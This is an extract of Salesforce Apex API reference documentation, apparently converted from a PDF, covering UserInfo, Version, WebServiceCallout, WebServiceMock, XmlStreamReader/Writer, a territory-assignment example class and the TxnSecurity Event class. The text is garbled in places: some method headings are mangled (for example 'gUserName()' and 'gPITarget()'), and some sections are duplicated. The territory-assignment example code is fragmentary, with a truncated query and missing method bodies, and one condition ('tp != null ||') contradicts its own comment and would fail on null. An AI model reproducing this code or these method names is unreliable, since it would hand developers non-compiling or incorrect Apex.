**Return Value**

Type: String

---

**getSessionId()**

Returns the session ID for the current session.

**Signature**

```java
public static String getSessionId()
```

**Return Value**

Type: String
Usage

For Apex code that is executed asynchronously, such as @future methods, Batch Apex jobs, or scheduled Apex jobs, getSessionId returns null.

As a best practice, ensure that your code handles both cases – when a session ID is or is not available.

getTimeZone()

Returns the current user’s local time zone.

Signature

public static System.TimeZone getTimeZone()

Return Value

Type: System.TimeZone

Example

TimeZone tz =
UserInfo.getTimeZone();
System.debug(
  'Display name: ' +
  tz.getDisplayName());
System.debug(
  'ID: ' +
  tz.getID());

getUiTheme()

Returns the default organization theme. Use getUiThemeDisplayed to determine the theme actually displayed to the current user.

Signature

public static String getUiTheme()

Return Value

Type: String

The default organization theme.

Valid values include:

- Theme1
- Theme2
- Theme3
- Theme4
- PortalDefault
getUiThemeDisplayed()
Returns the theme being displayed for the current user.

Signature
public static String getUiThemeDisplayed()

Return Value
Type: String
The theme being displayed for the current user
Valid values include:
- Theme1
- Theme2
- Theme3
- Theme4
- PortalDefault
- Webstore

getUserEmail()
Returns the current user’s email address.

Signature
public static String getUserEmail()

Return Value
Type: String

Example
```java
String emailAddress = 
    UserInfo.getUserEmail();
System.debug(
    'Email address: ' +
    emailAddress);
```

getUserID()
Returns the context user’s ID
Signature
public static String getUserId()

Return Value
Type: String

gUserName()
Returns the context user’s login name.

Signature
public static String getUserName()

Return Value
Type: String

gUserRoleID()
Returns the context user’s role ID.

Signature
public static String getUserRoleId()

Return Value
Type: String

gUserType()
Returns the context user’s type.

Signature
public static String getUserType()

Return Value
Type: String

isCurrentUserLicensed(namespace)
Returns true if the context user has a license to the managed package denoted by the namespace. Otherwise, returns false.

Signature
public static Boolean isCurrentUserLicensed(String namespace)
Parameters

namespace
  Type: String

Return Value

Type: Boolean

Usage

A TypeException is thrown if namespace is an invalid parameter.

isMultiCurrencyOrganization()

Specifies whether the organization uses multiple currencies.

Signature

public static Boolean isMultiCurrencyOrganization()

Return Value

Type: Boolean

Version Class

Use the Version methods to get the version of a managed package of a subscriber and to compare package versions.

Namespace

System

Usage

A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release.

A called component can check the version against which the caller was compiled using the System.requestVersion method and behave differently depending on the caller’s expectations. This allows you to continue to support existing behavior in classes and triggers in previous package versions while continuing to evolve the code.

The value returned by the System.requestVersion method is an instance of this class with a two-part version number containing a major and a minor number. Since the System.requestVersion method doesn’t return a patch number, the patch number in the returned Version object is null.

The System.Version class can also hold also a three-part version number that includes a patch number.
Example

This example shows how to use the methods in this class, along with the `requestVersion` method, to determine the managed package version of the code that is calling your package.

```java
if (System.requestVersion() == new Version(1,0))
{
    // Do something
}
if ((System.requestVersion().major() == 1)
    && (System.requestVersion().minor() > 0)
    && (System.requestVersion().minor() <=9))
{
    // Do something different for versions 1.1 to 1.9
}
else if (System.requestVersion().compareTo(new Version(2,0)) >= 0)
{
    // Do something completely different for versions 2.0 or greater
}
```

Version Constructors

The following are constructors for `Version`.

**Version(major, minor)**

Creates a new instance of the `Version` class as a two-part package version using the specified major and minor version numbers.

**Version(major, minor, patch)**

Creates a new instance of the `Version` class as a three-part package version using the specified major, minor, and patch version numbers.

**Version(major, minor)**

Creates a new instance of the `Version` class as a two-part package version using the specified major and minor version numbers.

**Signature**

```java
public Version(Integer major, Integer minor)
```

**Parameters**

- `major`
  - Type: `Integer`
  - The major version number.
Version(major, minor, patch)

Creates a new instance of the Version class as a three-part package version using the specified major, minor, and patch version numbers.

Signature

public Version(Integer major, Integer minor, Integer patch)

Parameters

major

Type: Integer

The major version number.

minor

Type: Integer

The minor version number.

patch

Type: Integer

The patch version number.

Version Methods

The following are methods for Version. All are instance methods.

IN THIS SECTION:

c compareTo(version)

Compares the current version with the specified version.

major()

Returns the major package version of the calling code.

minor()

Returns the minor package version of the calling code.

patch()

Returns the patch package version of the calling code or null if there is no patch version.

c compareTo(version)

Compares the current version with the specified version.
**Signature**

```java
public Integer compareTo(System.Version version)
```

**Parameters**

- `version`
  Type: `System.Version`

**Return Value**

Type: `Integer`

Returns one of the following values:

- zero if the current package version is equal to the specified package version
- an `Integer` value greater than zero if the current package version is greater than the specified package version
- an `Integer` value less than zero if the current package version is less than the specified package version

**Usage**

If a two-part version is being compared to a three-part version, the patch number is ignored and the comparison is based only on the major and minor numbers.

**major()**

Returns the major package version of the calling code.

**Signature**

```java
public Integer major()
```

**Return Value**

Type: `Integer`

**minor()**

Returns the minor package version of the calling code.

**Signature**

```java
public Integer minor()
```

**Return Value**

Type: `Integer`

**patch()**

Returns the patch package version of the calling code or `null` if there is no patch version.
Signature

public Integer patch()

Return Value

Type: Integer

WebServiceCallout Class

Enables making callouts to SOAP operations on an external Web service. This class is used in the Apex stub class that is auto-generated from a WSDL.

Namespace

System

IN THIS SECTION:

WebServiceCallout Methods

SEE ALSO:

SOAP Services: Defining a Class from a WSDL Document

WebServiceCallout Methods

The following is the static method for WebServiceCallout.

IN THIS SECTION:

invoke(stub, request, response, infoArray)

Invokes an external SOAP web service operation based on an Apex class that is auto-generated from a WSDL.

invoke(stub, request, response, infoArray)

Invokes an external SOAP web service operation based on an Apex class that is auto-generated from a WSDL.

Signature

public static void invoke(Object stub, Object request, Map<String,Object> response, List<String> infoArray)

Parameters

stub

Type: Object

An instance of the Apex class that is auto-generated from a WSDL (the stub class).

request

Type: Object
The request to the external service. The request is an instance of a type that is created as part of the auto-generated stub class.

**response**
- Type: `Map<String, Object>`
  - A map of key-value pairs that represent the response that the external service sends after receiving the request. In each pair, the key is a response identifier. The value is the response object, which is an instance of a type that is created as part of the auto-generated stub class.

**infoArray**
- Type: `String[]`
  - An array of strings that contains information about the callout—web service endpoint, SOAP action, request, and response. The order of the elements in the array matters.
  - Element at index 0 ([0]): One of the following options for identifying the URL of the external web service.
    - Endpoint URL. For example: 'http://YourServer/YourService'
    - Named credential URL, which contains the scheme `callout`, the name of the named credential, and optionally, an appended path. For example: 'callout:MyNamedCredential/some/path'
  - Element at index 1 ([1]): The SOAP action. For example: 'urn:dotnet.callouttest.soap.sforce.com/EchoString'
  - Element at index 2 ([2]): The request namespace. For example: 'http://doc.sample.com/docSample'
  - Element at index 3 ([3]): The request name. For example: 'EchoString'
  - Element at index 4 ([4]): The response namespace. For example: 'http://doc.sample.com/docSample'
  - Element at index 5 ([5]): The response name. For example: 'EchoStringResponse'
  - Element at index 6 ([6]): The response type. For example: 'docSample.EchoStringResponse_element'

**Return Value**
- Type: Void

SEE ALSO:
- [Named Credentials as Callout Endpoints](#)

## WebServiceMock Interface

Enables sending fake responses when testing Web service callouts of a class auto-generated from a WSDL.

### Namespace
- `System`

### Usage
- For an implementation example, see [Test Web Service Callouts](#) on page 449.

### WebServiceMock Methods
- The following are methods for `WebServiceMock`. 

2365
doInvoke(stub, soapRequest, responseMap, endpoint, soapAction, requestName, responseNamespace, responseName, responseType)

The implementation of this method is called by the Apex runtime to send a fake response when a Web service callout is made after Test.setMock has been called.

**doInvoke(stub, soapRequest, responseMap, endpoint, soapAction, requestName, responseNamespace, responseName, responseType)**

The implementation of this method is called by the Apex runtime to send a fake response when a Web service callout is made after Test.setMock has been called.

**Signature**

`public Void doInvoke(Object stub, Object soapRequest, Map<String, Object> responseMap, String endpoint, String soapAction, String requestName, String responseNamespace, String responseName, String responseType)`

**Parameters**

* `stub`
  
  Type: `Object`
  
  An instance of the auto-generated class.
  
* `soapRequest`
  
  Type: `Object`
  
  The SOAP Web service request being invoked.
  
* `responseMap`
  
  Type: `Map<String, Object>`
  
  A collection of key/value pairs representing the response to send for the request.
  
  When implementing this interface, set the `responseMap` argument to a key/value pair representing the response desired.
  
* `endpoint`
  
  Type: `String`
  
  The endpoint URL for the request.
  
* `soapAction`
  
  Type: `String`
  
  The requested SOAP operation.
  
* `requestName`
  
  Type: `String`
  
  The requested SOAP operation name.
  
* `responseNamespace`
  
  Type: `String`
  
  The response namespace.
  
* `responseName`
  
  Type: `String`
The name of the response element as defined in the WSDL.

**responseType**

Type: String

The class for the response as defined in the auto-generated class.

**Return Value**

Type: Void

**Usage**

**XmlStreamReader Class**

The XmlStreamReader class provides methods for forward, read-only access to XML data. You can pull data from XML or skip unwanted events. You can parse nested XML content that's up to 50 nodes deep.

**Namespace**

System

**Usage**

The XmlStreamReader class is similar to the XMLStreamReader utility class from StAX.

**Note:** The XmlStreamReader class in Apex is based on its counterpart in Java. See the Java XMLStreamReader class.

IN THIS SECTION:

- XmlStreamReader Constructors
- XmlStreamReader Methods

SEE ALSO:

- Reading XML Using Streams

**XmlStreamReader Constructors**

The following are constructors for XmlStreamReader.

IN THIS SECTION:

- XmlStreamReader(xmlInput)

  Creates a new instance of the XmlStreamReader class for the specified XML input.

**XmlStreamReader(xmlInput)**

Creates a new instance of the XmlStreamReader class for the specified XML input.
Signature

```java
public XmlStreamReader(String xmlInput)
```

Parameters

`xmlInput`
Type: `String`
The XML string input.

XmlStreamReader Methods

The following are methods for `XmlStreamReader`. All are instance methods.

IN THIS SECTION:

- `getAttributeCount()`: Returns the number of attributes on the start element, excluding namespace definitions.
- `getAttributeLocalName(index)`: Returns the local name of the attribute at the specified index.
- `getAttributeNamespace(index)`: Returns the namespace URI of the attribute at the specified index.
- `getAttributePrefix(index)`: Returns the prefix of this attribute at the specified index.
- `getAttributeType(index)`: Returns the XML type of the attribute at the specified index.
- `getAttributeValue(namespaceUri, localName)`: Returns the value of the attribute in the specified `localName` at the specified URI.
- `getAttributeValueAt(index)`: Returns the value of the attribute at the specified index.
- `getEventType()`: Returns the type of XML event the cursor is pointing to.
- `getLocalName()`: Returns the local name of the current event.
- `getLocation()`: Return the current location of the cursor.
- `getNamespace()`: If the current event is a start element or end element, this method returns the URI of the prefix or the default namespace.
- `getNamespaceCount()`: Returns the number of namespaces declared on a start element or end element.
- `getNamespacePrefix(index)`: Returns the prefix for the namespace declared at the index.
- `getNamespaceURI(prefix)`: Return the URI for the given prefix.
getNamespaceURIAt(index)
Returns the URI for the namespace declared at the index.

getPIData()
Returns the data section of a processing instruction.

getPITarget()
Returns the target section of a processing instruction.

getPrefix()
Returns the prefix of the current XML event or null if the event does not have a prefix.

getText()
Returns the current value of the XML event as a string.

getVersion()
Returns the XML version specified on the XML declaration. Returns null if none was declared.

hasName()
Returns true if the current XML event has a name. Returns false otherwise.

hasNext()
Returns true if there are more XML events and false if there are no more XML events.

hasText()
Returns true if the current event has text, false otherwise.

isCharacters()
Returns true if the cursor points to a character data XML event. Otherwise, returns false.

isEndElement()
Returns true if the cursor points to an end tag. Otherwise, it returns false.

isStartElement()
Returns true if the cursor points to a start tag. Otherwise, it returns false.

isWhiteSpace()
Returns true if the cursor points to a character data XML event that consists of all white space. Otherwise it returns false.

next()
Reads the next XML event. A processor may return all contiguous character data in a single chunk, or it may split it into several chunks. Returns an integer which indicates the type of event.

nextTag()
Skips any white space (the isWhiteSpace method returns true), comment, or processing instruction XML events, until a start element or end element is reached. Returns the index for that XML event.

setCoalescing(returnAsSingleBlock)
If you specify true for returnAsSingleBlock, text is returned in a single block, from a start element to the first end element or the next start element, whichever comes first. If you specify it as false, the parser may return text in multiple blocks.

setNamespaceAware(isNamespaceAware)
If you specify true for isNamespaceAware, the parser recognizes namespace. If you specify it as false, the parser does not. The default value is true.

toString()
Returns a string containing the length of the input XML given to XmlStreamReader and the first 50 characters of the input XML.
getAttributeCount()
Returns the number of attributes on the start element, excluding namespace definitions.

Signature
public Integer getAttributeCount()

Return Value
Type: Integer

Usage
This method is only valid on a start element or attribute XML events. The count for the number of attributes for an attribute XML event starts with zero.

getAttributeLocalName(index)
Returns the local name of the attribute at the specified index.

Signature
public String getAttributeLocalName(Integer index)

Parameters
index
Type: Integer

Return Value
Type: String

Usage
If there is no name, an empty string is returned. This method is only valid with start element or attribute XML events.

getAttributeNamespace(index)
Returns the namespace URI of the attribute at the specified index.

Signature
public String getAttributeNamespace(Integer index)

Parameters
index
Type: Integer
Return Value
Type: String

Usage
If no namespace is specified, null is returned. This method is only valid with start element or attribute XML events.

**getAttributePrefix(index)**
Returns the prefix of this attribute at the specified index.

**Signature**
```
public String getAttributePrefix(Integer index)
```

**Parameters**
- **index**
  Type: Integer

**Return Value**
Type: String

Usage
If no prefix is specified, null is returned. This method is only valid with start element or attribute XML events.

**getAttributeType(index)**
Returns the XML type of the attribute at the specified index.

**Signature**
```
public String getAttributeType(Integer index)
```

**Parameters**
- **index**
  Type: Integer

**Return Value**
Type: String

Usage
For example, id is an attribute type. This method is only valid with start element or attribute XML events.
**getAttributeValue(namespaceUri, localName)**

Returns the value of the attribute in the specified `localName` at the specified URI.

**Signature**

```java
public String getAttributeValue(String namespaceUri, String localName)
```

**Parameters**

- `namespaceUri`
  - Type: `String`
- `localName`
  - Type: `String`

**Return Value**

Type: `String`

**Usage**

Returns `null` if the value is not found. You must specify a value for `localName`. This method is only valid with start element or attribute XML events.

**getAttributeValueAt(index)**

Returns the value of the attribute at the specified index.

**Signature**

```java
public String getAttributeValueAt(Integer index)
```

**Parameters**

- `index`
  - Type: `Integer`

**Return Value**

Type: `String`

**Usage**

This method is only valid with start element or attribute XML events.

**getEventType()**

Returns the type of XML event the cursor is pointing to.
Signature

```java
public System.XmlTag getEventType()
```

Return Value

Type: `System.XmlTag`

**XmlTag Enum**

The values for `XmlTag` are:

- `ATTRIBUTE`
- `CDATA`
- `CHARACTERS`
- `COMMENT`
- `DTD`
- `END_DOCUMENT`
- `END_ELEMENT`
- `ENTITY_DECLARATION`
- `ENTITY_REFERENCE`
- `NAMESPACE`
- `NOTATION_DECLARATION`
- `PROCESSING_INSTRUCTION`
- `SPACE`
- `START_DOCUMENT`
- `START_ELEMENT`

**getLocalName()**

Returns the local name of the current event.

Signature

```java
public String getLocalName()
```

Return Value

Type: `String`

Usage

For start element or end element XML events, it returns the local name of the current element. For the entity reference XML event, it returns the entity name. The current XML event must be start element, end element, or entity reference.

**getLocation()**

Return the current location of the cursor.
Signature

public String getLocation()

Return Value
Type: String

Usage
If the location is unknown, returns -1. The location information is only valid until the next method is called.

getNamespace()
If the current event is a start element or end element, this method returns the URI of the prefix or the default namespace.

Signature

public String getNamespace()

Return Value
Type: String

Usage
Returns null if the XML event does not have a prefix.

getNamespaceCount()
Returns the number of namespaces declared on a start element or end element.

Signature

public Integer getNamespaceCount()

Return Value
Type: Integer

Usage
This method is only valid on a start element, end element, or namespace XML event.

getNamespacePrefix(index)
Returns the prefix for the namespace declared at the index.

Signature

public String getNamespacePrefix(Integer index)
Parameters

`index`
Type: Integer

Return Value

Type: String

Usage

Returns null if this is the default namespace declaration. This method is only valid on a start element, end element, or namespace XML event.

`getNamespaceURI(prefix)`

Return the URI for the given prefix.

Signature

`public String getNamespaceURI(String prefix)`

Parameters

`prefix`
Type: String

Return Value

Type: String

Usage

The returned URI depends on the current state of the processor.

`getNamespaceURIAt(index)`

Returns the URI for the namespace declared at the index.

Signature

`public String getNamespaceURIAt(Integer index)`

Parameters

`index`
Type: Integer

Return Value

Type: String
Usage
This method is only valid on a start element, end element, or namespace XML event.

getPIData()
Returns the data section of a processing instruction.

Signature
public String getPIData()

Return Value
Type: String

gPITarget()
Returns the target section of a processing instruction.

Signature
public String getPITarget()

Return Value
Type: String

getPrefix()
Returns the prefix of the current XML event or null if the event does not have a prefix.

Signature
public String getPrefix()

Return Value
Type: String

getText()
Returns the current value of the XML event as a string.

Signature
public String getText()

Return Value
Type: String
### Usage

The valid values for the different events are:

- The string value of a character XML event
- The string value of a comment
- The replacement value for an entity reference. For example, assume `getText` reads the following XML snippet:

```
<!ENTITY Title "Salesforce For Dummies" >
<foo a="b">Name &Title;</foo>'
```

The `getText` method returns `Salesforce for Dummies`, not `&Title`.

- The string value of a CDATA section
- The string value for a space XML event
- The string value of the internal subset of the DTD

### getVersion()

Returns the XML version specified on the XML declaration. Returns `null` if none was declared.

**Signature**

```
public String getVersion()
```

**Return Value**

Type: `String`

### hasName()

Returns `true` if the current XML event has a name. Returns `false` otherwise.

**Signature**

```
public Boolean hasName()
```

**Return Value**

Type: `Boolean`

### Usage

This method is only valid for start element and stop element XML events.

### hasNext()

Returns `true` if there are more XML events and `false` if there are no more XML events.
Signature

public Boolean hasNext()

Return Value
Type: Boolean

Usage
This method returns false if the current XML event is end document.

hasText()

Returns true if the current event has text, false otherwise.

Signature

public Boolean hasText()

Return Value
Type: Boolean

Usage
The following XML events have text: characters, entity reference, comment and space.

isCharacters()

Returns true if the cursor points to a character data XML event. Otherwise, returns false.

Signature

public Boolean isCharacters()

Return Value
Type: Boolean

isEndElement()

Returns true if the cursor points to an end tag. Otherwise, it returns false.

Signature

public Boolean isEndElement()

Return Value
Type: Boolean
**isStartElement()**

Returns true if the cursor points to a start tag. Otherwise, it returns false.

**Signature**

```java
public Boolean isStartElement()
```

**Return Value**

Type: Boolean

---

**isWhiteSpace()**

Returns true if the cursor points to a character data XML event that consists of all white space. Otherwise it returns false.

**Signature**

```java
public Boolean isWhiteSpace()
```

**Return Value**

Type: Boolean

---

**next()**

Reads the next XML event. A processor may return all contiguous character data in a single chunk, or it may split it into several chunks. Returns an integer which indicates the type of event.

**Signature**

```java
public Integer next()
```

**Return Value**

Type: Integer

---

**nextTag()**

Skips any white space (the isWhiteSpace method returns true), comment, or processing instruction XML events, until a start element or end element is reached. Returns the index for that XML event.

**Signature**

```java
public Integer nextTag()
```

**Return Value**

Type: Integer
Usage
This method throws an error if elements other than white space, comments, processing instruction, start elements or stop elements are encountered.

setCoalescing(returnAsSingleBlock)
If you specify true for returnAsSingleBlock, text is returned in a single block, from a start element to the first end element or the next start element, whichever comes first. If you specify it as false, the parser may return text in multiple blocks.

Signature
public Void setCoalescing(Boolean returnAsSingleBlock)

Parameters
returnAsSingleBlock
Type: Boolean

Return Value
Type: Void

setNamespaceAware(isNamespaceAware)
If you specify true for isNamespaceAware, the parser recognizes namespace. If you specify it as false, the parser does not. The default value is true.

Signature
public Void setNamespaceAware(Boolean isNamespaceAware)

Parameters
isNamespaceAware
Type: Boolean

Return Value
Type: Void

toString()
Returns a string containing the length of the input XML given to XmlStreamReader and the first 50 characters of the input XML.

Signature
public String toString()
XmlStreamWriter Class

The XmlStreamWriter class provides methods for writing XML data.

Namespace

System

Usage

You can use the XmlStreamWriter class to programmatically construct an XML document, then use HTTP classes to send the document to an external server.

The XmlStreamWriter class is similar to the XMLStreamWriter utility class from StAX.

Note: The XmlStreamWriter class in Apex is based on its counterpart in Java. See the Java XMLStreamWriter class.

IN THIS SECTION:

XmlStreamWriter Constructors

XmlStreamWriter Methods

SEE ALSO:

Http Class
HttpRequest Class
HttpResponse Class

XmlStreamWriter Constructors

The following are constructors for XmlStreamWriter.

IN THIS SECTION:

XmlStreamWriter()

Signature

public XmlStreamWriter()
XmlStreamWriter Methods

The following are methods for XmlStreamWriter. All are instance methods.

IN THIS SECTION:

  close()
  Closes this instance of an XmlStreamWriter and free any resources associated with it.
  getXmlString()
  Returns the XML written by the XmlStreamWriter instance.
  setDefaultNamespace(uri)
  Binds the specified URI to the default namespace. This URI is bound in the scope of the current START_ELEMENT – END_ELEMENT pair.
  writeAttribute(prefix, namespaceUri, localName, value)
  Writes an attribute to the output stream.
  writeCData(data)
  Writes the specified CData to the output stream.
  writeCharacters(text)
  Writes the specified text to the output stream.
  writeComment(comment)
  Writes the specified comment to the output stream.
  writeDefaultNamespace(namespaceUri)
  Writes the specified namespace to the output stream.
  writeEmptyElement(prefix, localName, namespaceUri)
  Writes an empty element tag to the output stream.
  writeEndDocument()
  Closes any start tags and writes corresponding end tags to the output stream.
  writeEndElement()
  Writes an end tag to the output stream, relying on the internal state of the writer to determine the prefix and local name.
  writeNamespace(prefix, namespaceUri)
  Writes the specified namespace to the output stream.
  writeProcessingInstruction(target, data)
  Writes the specified processing instruction.
  writeStartDocument(encoding, version)
  Writes the XML Declaration using the specified XML encoding and version.
  writeStartElement(prefix, localName, namespaceUri)
  Writes the start tag specified by localName to the output stream.

close()
Closes this instance of an XmlStreamWriter and free any resources associated with it.
**close()**

Signature

```java
public Void close()
```

Return Value

Type: Void

**getXmlString()**

Returns the XML written by the XmlStreamWriter instance.

Signature

```java
public String getXmlString()
```

Return Value

Type: String

**setDefaultNamespace(uri)**

Binds the specified URI to the default namespace. This URI is bound in the scope of the current START_ELEMENT – END_ELEMENT pair.

Signature

```java
public Void setDefaultNamespace(String uri)
```

Parameters

- **uri**
  - Type: String

Return Value

Type: Void

**writeAttribute(prefix, namespaceUri, localName, value)**

Writes an attribute to the output stream.

Signature

```java
public Void writeAttribute(String prefix, String namespaceUri, String localName, String value)
```

Parameters

- **prefix**
  - Type: String

- **namespaceUri**
  - Type: String

- **localName**
  - Type: String

- **value**
  - Type: String
namespaceUri
   Type: String
localName
   Type: String
   Specifies the name of the attribute.
value
   Type: String

Return Value
Type: Void

**writeCData(data)**
Writes the specified CData to the output stream.

**Signature**
```
public Void writeCData(String data)
```

**Parameters**
- **data**
  Type: String

Return Value
Type: Void

**writeCharacters(text)**
Writes the specified text to the output stream.

**Signature**
```
public Void writeCharacters(String text)
```

**Parameters**
- **text**
  Type: String

Return Value
Type: Void

**writeComment(comment)**
Writes the specified comment to the output stream.
Signature
public Void writeComment(String comment)

Parameters
comment
Type: String

Return Value
Type: Void

**writeDefaultNamespace(namespaceUri)**
Writes the specified namespace to the output stream.

Signature
public Void writeDefaultNamespace(String namespaceUri)

Parameters
namespaceUri
Type: String

Return Value
Type: Void

**writeEmptyElement(prefix, localName, namespaceUri)**
Writes an empty element tag to the output stream.

Signature
public Void writeEmptyElement(String prefix, String localName, String namespaceUri)

Parameters
prefix
Type: String
localName
Type: String
  Specifies the name of the tag to be written.
namespaceUri
Type: String
Return Value
Type: Void

**writeEndDocument()**
Closes any start tags and writes corresponding end tags to the output stream.

**Signature**
```java
public Void writeEndDocument()
```

Return Value
Type: Void

**writeEndElement()**
Writes an end tag to the output stream, relying on the internal state of the writer to determine the prefix and local name.

**Signature**
```java
public Void writeEndElement()
```

Return Value
Type: Void

**writeNamespace(prefix, namespaceUri)**
Writes the specified namespace to the output stream.

**Signature**
```java
public Void writeNamespace(String prefix, String namespaceUri)
```

**Parameters**
- `prefix`
  Type: `String`
- `namespaceUri`
  Type: `String`

Return Value
Type: Void

**writeProcessingInstruction(target, data)**
Writes the specified processing instruction.
**Signature**

```java
public Void writeProcessingInstruction(String target, String data)
```

**Parameters**

- `target`
  - Type: `String`
- `data`
  - Type: `String`

**Return Value**

Type: Void

---

**writeStartDocument(encoding, version)**

Writes the XML Declaration using the specified XML encoding and version.

**Signature**

```java
public Void writeStartDocument(String encoding, String version)
```

**Parameters**

- `encoding`
  - Type: `String`
- `version`
  - Type: `String`

**Return Value**

Type: Void

---

**writeStartElement(prefix, localName, namespaceUri)**

Writes the start tag specified by `localName` to the output stream.

**Signature**

```java
public Void writeStartElement(String prefix, String localName, String namespaceUri)
```

**Parameters**

- `prefix`
  - Type: `String`
- `localName`
  - Type: `String`
- `namespaceUri`
  - Type: `String`
**Return Value**

Type: Void

**TerritoryMgmt Namespace**

The `TerritoryMgmt` namespace provides an interface used for territory management. The following is the interface in the `TerritoryMgmt` namespace.

IN THIS SECTION:

- **OpportunityTerritory2AssignmentFilter Global Interface**
  - Apex interface that allows an implementing class to assign a single territory to an opportunity.

**OpportunityTerritory2AssignmentFilter Global Interface**

Apex interface that allows an implementing class to assign a single territory to an opportunity.

**Namespace**

`TerritoryMgmt`

**Usage**

Method called by Opportunity Territory Assignment job to assign territory to opportunity. Input is a list of (up to 1000) opportunityIds that have `IsExcludedFromTerritory2Filter=false`. Returns a map of OpportunityId to Territory2Id, which is used to update the Territory2Id field on the Opportunity object.

IN THIS SECTION:

- **OpportunityTerritory2AssignmentFilter Methods**
- **OpportunityTerritory2AssignmentFilter Example Implementation**

**OpportunityTerritory2AssignmentFilter Methods**

The following are methods for `OpportunityTerritory2AssignmentFilter`.

IN THIS SECTION:

- `getOpportunityTerritory2Assignments(opportunityIds)`
  - Returns the mapping of opportunities to territory IDs. When Salesforce invokes this method, it supplies the list of opportunity IDs, except for opportunities that have been excluded from territory assignment (`IsExcludedFromTerritory2Filter=false`).

- `getOpportunityTerritory2Assignments(opportunityIds)`
  - Returns the mapping of opportunities to territory IDs. When Salesforce invokes this method, it supplies the list of opportunity IDs, except for opportunities that have been excluded from territory assignment (`IsExcludedFromTerritory2Filter=false`).
Signature

```java
public Map<Id,Id> getOpportunityTerritory2Assignments(List<Id> opportunityIds)
```

Parameters

**opportunityIds**
Type: `List<Id>`
Opportunity IDs.

Return Value

Type: `Map<Id,Id>`
A key value pair associating each Territory ID to an Opportunity ID.

OpportunityTerritory2AssignmentFilter Example Implementation

This is an example implementation of the `TerritoryMgmt.OpportunityTerritory2AssignmentFilter` interface.

```java
/** * Apex version of the default logic. * If opportunity's assigned account is assigned to * Case 1: 0 territories in active model * then set territory2Id = null * Case 2: 1 territory in active model * then set territory2Id = account's territory2Id * Case 3: 2 or more territories in active model * then set territory2Id = account's territory2Id that is of highest priority. * But if multiple territories have same highest priority, then set territory2Id = null */
global class OppTerrAssignDefaultLogicFilter implements TerritoryMgmt.OpportunityTerritory2AssignmentFilter {
    **
    * No-arg constructor.
    */
    global OppTerrAssignDefaultLogicFilter() {}

    /**
    * Get mapping of opportunity to territory2Id. The incoming list of opportunityIds contains only those with IsExcludedFromTerritory2Filter=false.
    * If territory2Id = null in result map, clear the opportunity.territory2Id if set.
    * If opportunity is not present in result map, its territory2Id remains intact.
    */
    global Map<Id,Id> getOpportunityTerritory2Assignments(List<Id> opportunityIds) {
        Map<Id, Id> OppIdTerritoryIdResult = new Map<Id, Id>();

        //Get the active territory model Id
        Id activeModelId = getActiveModelId();

        if(activeModelId != null){
            List<Opportunity> opportunities =
                [Select Id, AccountId, Territory2Id from Opportunity where Id IN
```
Set<Id> accountIds = new Set<Id>();

// Create set of parent accountIds
for (Opportunity opp : opportunities) {
    if (opp.AccountId != null) {
        accountIds.add(opp.AccountId);
    }
}

Map<Id, Territory2Priority> accountMaxPriorityTerritory =
getAccountMaxPriorityTerritory(activeModelId, accountIds);

// for each opportunity, assign the highest priority territory if there is no conflict, else assign null
for (Opportunity opp : opportunities) {
    Territory2Priority tp = accountMaxPriorityTerritory.get(opp.AccountId);
    // assign highest priority territory if there is only 1
    if ((tp != null) && (tp.moreTerritoriesAtPriority == false) &&
        (tp.territory2Id != opp.Territory2Id)) {
        OppIdTerritoryIdResult.put(opp.Id, tp.territory2Id);
    } else {
        OppIdTerritoryIdResult.put(opp.Id, null);
    }
}

return OppIdTerritoryIdResult;

/**
 * Query assigned territoryIds in active model for given accountIds
 * Create a map of accountId to max priority territory
 */

            (Select ObjectId, Territory2Id, Territory2.Territory2Type.Priority from ObjectTerritory2Association where objectId IN :accountIds and Territory2.Territory2ModelId = :activeModelId))
        Territory2Priority tp = accountMaxPriorityTerritory.get(ota.ObjectId);
        if ((tp != null) || (ota.Territory2.Territory2Type.Priority > tp.priority)) {
            // If this is the first territory examined for account or it has greater priority than current highest priority territory, then set this as new highest priority territory.
            tp = new Territory2Priority(ota.Territory2Id, ota.Territory2.Territory2Type.priority, false);
        } else if (ota.Territory2.Territory2Type.priority == tp.priority) {
            // The priority of current highest territory is same as this, so set moreTerritoriesAtPriority to indicate multiple highest priority territories seen so far.
            tp.moreTerritoriesAtPriority = true;
        }
accountMaxPriorityTerritory.put(ota.ObjectId, tp);
}
return accountMaxPriorityTerritory;
}

/**
 * Get the Id of the Active Territory Model.
 * If none exists, return null;
 */
private Id getActiveModelId() {
    List<Territory2Model> models = [Select Id from Territory2Model where State = 'Active'];
    Id activeModelId = null;
    if(models.size() == 1){
        activeModelId = models.get(0).Id;
    }
    return activeModelId;
}

/**
 * Helper class to help capture territory2Id, its priority, and whether there are more territories with same priority assigned to the account
 */
private class Territory2Priority {
    public Id territory2Id { get; set; }
    public Integer priority { get; set; }
    public Boolean moreTerritoriesAtPriority { get; set; }

    Territory2Priority(Id territory2Id, Integer priority, Boolean moreTerritoriesAtPriority){
        this.territory2Id = territory2Id;
        this.priority = priority;
        this.moreTerritoriesAtPriority = moreTerritoriesAtPriority;
    }
}

TxnSecurity Namespace

The TxnSecurity namespace provides an interface used for transaction security.
The following is the interface and its supporting class in the TxnSecurity namespace.

IN THIS SECTION:

Event Class
Contains event information that the PolicyCondition.evaluate method uses to evaluate a transaction security policy.
PolicyCondition Interface
Apex interface that allows an implementing class to specify actions to take when certain events occur based on a transaction security policy.

Event Class
Contains event information that the PolicyCondition.evaluate method uses to evaluate a transaction security policy.

Namespace
TxnSecurity

Usage
The Event class contains the information needed to determine if the event triggers a Transaction Security policy. Not all class attributes are used for every type of event.

IN THIS SECTION:
Event Constructors
Event Properties

Event Constructors
The following is the constructor for Event.

IN THIS SECTION:
Event()
Event()

Event()
Creates an instance of the TxnSecurity.Event class.

Signature
public Event()

Event Properties
The following are properties for Event.

IN THIS SECTION:
action
action
Specifies the action being taken on the resource for an Entity event. For example, a Login IP resource for an Entity event could have an action of create. The action attribute is not used by any other event type.
data
Contains additional data used by some actions. For example, data for a login event includes the login history name and ID. Returns a map whose keys are the type of event data, like SourceIp.

entityId
The ID of any entity associated with the event. For example, the entityId of a DataExport event for an Account object contains the Account ID.

entityName
The name of the object the event acts on.

organizationId
The ID of the Salesforce organization where the event occurred.

resourceType
The type of resource for the event. For example, an AccessResource event could have a Connected Application as a resource type. Not all event types have resources.

timeStamp
The time the event occurred.

userId
Identifies the user that caused the event.

action
Specifies the action being taken on the resource for an Entity event. For example, a Login IP resource for an Entity event could have an action of create. The action attribute is not used by any other event type.

